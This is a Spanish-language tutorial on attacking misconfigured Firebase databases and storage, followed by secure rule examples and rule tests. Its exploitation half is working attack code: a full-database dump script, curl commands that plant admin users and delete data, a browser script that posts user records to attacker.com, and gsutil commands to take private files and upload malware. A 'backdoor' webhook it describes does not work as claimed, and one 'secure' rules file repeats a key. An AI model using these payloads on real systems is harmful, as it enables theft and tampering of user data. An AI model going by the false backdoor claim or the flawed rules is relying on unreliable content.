Firebase Realtime Database Exposed
Firebase es una plataforma BaaS (Backend-as-a-Service) de Google. Su base de datos en tiempo real usa reglas de seguridad JSON para controlar acceso. Una configuración incorrecta permite que cualquiera lea/escriba TODA la base de datos.
Estadística Alarmante
En 2019, un estudio encontró que más del 10% de apps móviles con Firebase tenían bases de datos completamente abiertas, exponiendo millones de registros de usuarios.
1. Identificar Firebase en Apps
Encontrar URL de Firebase
Las URLs de Firebase Realtime Database siguen el patrón:
https://[PROJECT-ID].firebaseio.com/Métodos de descubrimiento
bash# 1. Decompile APK (Android)
apktool d app.apk
grep -r "firebaseio.com" app/
# 2. Inspeccionar JavaScript (Web Apps)
curl https://target-app.com | grep -o 'https://[^"]*firebaseio.com'
# 3. Burp Suite - Intercept traffic
# Buscar requests a *.firebaseio.com
# 4. Network tab en DevTools
# Filtrar por "firebaseio"Probar Acceso Directo
Verificar si está abierta
bash# Intentar leer datos sin autenticación
curl 'https://PROJECT-ID.firebaseio.com/.json'
# Si retorna datos JSON = VULNERABLE
# Si retorna "Permission denied" = ProtegidaRespuesta de base de datos vulnerable
{
"users": {
"user1": {
"email": "victim@email.com",
"password": "hashed_password_here",
"credit_card": "4532-****-****-1234"
},
"user2": { ... }
},
"messages": { ... },
"api_keys": {
"stripe_secret": "sk_live_XXXXXXXXXXXXXXXXX"
}
}
2. Explotación Completa
Leer Toda la Base de Datos
Script - Exfiltrar Firebase completo
pythonimport requests
import json
FIREBASE_URL = "https://vulnerable-app.firebaseio.com"
def download_database():
# Descargar TODA la base de datos
response = requests.get(f"{FIREBASE_URL}/.json")
if response.status_code == 200:
data = response.json()
# Guardar localmente
with open('firebase_dump.json', 'w') as f:
json.dump(data, f, indent=2)
print(f"[+] Downloaded {len(json.dumps(data))} bytes")
print(f"[+] Saved to firebase_dump.json")
# Analizar datos sensibles
analyze_sensitive_data(data)
else:
print("[-] Access denied or database not found")
def analyze_sensitive_data(data):
# Buscar emails
emails = find_in_dict(data, 'email')
print(f"[+] Found {len(emails)} emails")
# Buscar contraseñas
passwords = find_in_dict(data, 'password')
print(f"[+] Found {len(passwords)} password hashes")
# Buscar API keys
api_keys = find_in_dict(data, 'api_key')
print(f"[+] Found {len(api_keys)} API keys")
def find_in_dict(data, key):
results = []
if isinstance(data, dict):
for k, v in data.items():
if k == key:
results.append(v)
results.extend(find_in_dict(v, key))
elif isinstance(data, list):
for item in data:
results.extend(find_in_dict(item, key))
return results
download_database()Escribir Datos Maliciosos
Inyectar datos con curl
bash# Crear usuario administrador
curl -X PUT \
'https://vulnerable-app.firebaseio.com/users/hacker.json' \
-d '{
"email": "hacker@evil.com",
"role": "admin",
"verified": true
}'
# Modificar datos existentes
curl -X PATCH \
'https://vulnerable-app.firebaseio.com/users/user1.json' \
-d '{"role": "admin"}'
# Eliminar datos
curl -X DELETE \
'https://vulnerable-app.firebaseio.com/messages.json'Backdoor Persistente
Crear webhook malicioso
pythonimport requests
FIREBASE_URL = "https://vulnerable-app.firebaseio.com"
ATTACKER_WEBHOOK = "https://attacker.com/webhook"
# Crear regla de notificación que envíe todos los datos a atacante
backdoor = {
"webhook_url": ATTACKER_WEBHOOK,
"events": ["create", "update", "delete"],
"active": True
}
response = requests.put(
f"{FIREBASE_URL}/admin/webhooks/backup.json",
json=backdoor
)
print("[+] Backdoor installed")
print("[+] All future changes will be sent to attacker webhook")3. Firestore (Cloud Firestore)
Firestore es la nueva base de datos de Firebase. Usa un sistema de reglas diferente pero igualmente vulnerable si está mal configurado.
Reglas Inseguras de Firestore
firestore.rules - VULNERABLE
javascriptrules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
// ❌ PELIGRO: Permite leer/escribir TODO
match /{document=**} {
allow read, write: if true;
}
}
}Explotar Firestore desde Browser
exploit.js - Extraer colecciones
javascript// Necesitas el Firebase config (público en la app)
const firebaseConfig = {
apiKey: "AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
projectId: "vulnerable-app",
// ... otros campos
};
firebase.initializeApp(firebaseConfig);
const db = firebase.firestore();
// Leer colección de usuarios
async function dumpUsers() {
const usersSnapshot = await db.collection('users').get();
usersSnapshot.forEach(doc => {
console.log(doc.id, '=>', doc.data());
// Guardar en servidor atacante
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({
id: doc.id,
data: doc.data()
})
});
});
}
// Crear usuario admin
async function createAdmin() {
await db.collection('users').doc('hacker').set({
email: 'hacker@evil.com',
role: 'admin',
premium: true
});
console.log('[+] Admin user created');
}
dumpUsers();
createAdmin();4. Firebase Storage Expuesto
Firebase Storage almacena archivos (imágenes, PDFs, etc). Reglas incorrectas permiten acceso a archivos privados.
storage.rules - VULNERABLE
javascriptrules_version = '2';
service firebase.storage {
match /b/{bucket}/o {
// ❌ PELIGRO: Permite descargar cualquier archivo
match /{allPaths=**} {
allow read, write: if true;
}
}
}Enumerar archivos con gsutil
bash# Instalar gsutil (Google Cloud SDK)
# https://cloud.google.com/storage/docs/gsutil_install
# Listar archivos públicos
gsutil ls -r gs://vulnerable-app.appspot.com/
# Descargar archivo privado
gsutil cp gs://vulnerable-app.appspot.com/private/user_data.csv .
# Subir malware
gsutil cp malware.apk gs://vulnerable-app.appspot.com/downloads/app.apkMitigación - Reglas Seguras
✅ Nunca uses 'if true' en producción
Las reglas de Firebase deben validar autenticación y autorización adecuadamente.
Realtime Database - Reglas Seguras
database.rules.json - ✅ SEGURO
json{
"rules": {
// Lectura pública solo de posts publicados
"posts": {
".read": true,
"$postId": {
".write": "auth != null && auth.uid == data.child('author_id').val()"
}
},
// Usuarios solo pueden leer/escribir sus propios datos
"users": {
"$userId": {
".read": "auth != null && auth.uid == $userId",
".write": "auth != null && auth.uid == $userId",
// Admin puede leer todo
".read": "root.child('admins').child(auth.uid).exists()",
// Validar estructura de datos
".validate": "newData.hasChildren(['email', 'name'])"
}
},
// Solo admins pueden escribir configuración
"config": {
".read": true,
".write": "root.child('admins').child(auth.uid).exists()"
}
}
}Firestore - Reglas Seguras
firestore.rules - ✅ SEGURO
javascriptrules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
// Función helper para verificar admin
function isAdmin() {
return get(/databases/$(database)/documents/admins/$(request.auth.uid)).data.role == 'admin';
}
// Usuarios solo acceden a sus datos
match /users/{userId} {
allow read, write: if request.auth != null && request.auth.uid == userId;
allow read: if isAdmin();
// Validar estructura
allow create: if request.resource.data.keys().hasAll(['email', 'name', 'createdAt'])
&& request.resource.data.email is string
&& request.resource.data.email.matches('.*@.*\\..*');
}
// Posts públicos de lectura, autenticados para escribir
match /posts/{postId} {
allow read: if resource.data.visibility == 'public';
allow read: if request.auth != null && request.auth.uid == resource.data.authorId;
allow create: if request.auth != null
&& request.resource.data.authorId == request.auth.uid;
allow update, delete: if request.auth != null
&& request.auth.uid == resource.data.authorId;
}
// Admin only
match /admin/{document=**} {
allow read, write: if isAdmin();
}
// Por defecto: denegar todo
match /{document=**} {
allow read, write: if false;
}
}
}Storage - Reglas Seguras
storage.rules - ✅ SEGURO
javascriptrules_version = '2';
service firebase.storage {
match /b/{bucket}/o {
// Archivos públicos (solo lectura)
match /public/{allPaths=**} {
allow read: if true;
allow write: if false;
}
// Avatares de usuario
match /avatars/{userId}/{fileName} {
// Solo el owner puede leer/escribir
allow read, write: if request.auth != null && request.auth.uid == userId;
// Validar tipo de archivo
allow write: if request.resource.contentType.matches('image/.*')
&& request.resource.size < 5 * 1024 * 1024; // Max 5MB
}
// Documentos privados
match /documents/{userId}/{document} {
allow read, write: if request.auth != null && request.auth.uid == userId;
// Solo PDFs permitidos
allow write: if request.resource.contentType == 'application/pdf';
}
// Por defecto: denegar todo
match /{allPaths=**} {
allow read, write: if false;
}
}
}5. Testing de Seguridad
Firebase Emulator para testing
bash# Instalar Firebase CLI
npm install -g firebase-tools
# Inicializar emulador
firebase init emulators
# Testear reglas localmente
firebase emulators:start
# Escribir tests de reglas
firebase emulators:exec --only firestore "npm test"test/firestore.test.js - Unit tests de reglas
javascriptconst firebase = require('@firebase/rules-unit-testing');
describe('Firestore Security Rules', () => {
it('Denegar lectura a usuarios no autenticados', async () => {
const db = firebase.initializeTestApp({ projectId: 'test' }).firestore();
const doc = db.collection('users').doc('user1');
await firebase.assertFails(doc.get());
});
it('Permitir lectura a owner del documento', async () => {
const db = firebase.initializeTestApp({
projectId: 'test',
auth: { uid: 'user1' }
}).firestore();
const doc = db.collection('users').doc('user1');
await firebase.assertSucceeds(doc.get());
});
it('Denegar escritura a documento de otro usuario', async () => {
const db = firebase.initializeTestApp({
projectId: 'test',
auth: { uid: 'user1' }
}).firestore();
const doc = db.collection('users').doc('user2');
await firebase.assertFails(doc.set({ hacked: true }));
});
});Siguiente: SSRF Básico
Server-Side Request Forgery 101Por Aitana Security Team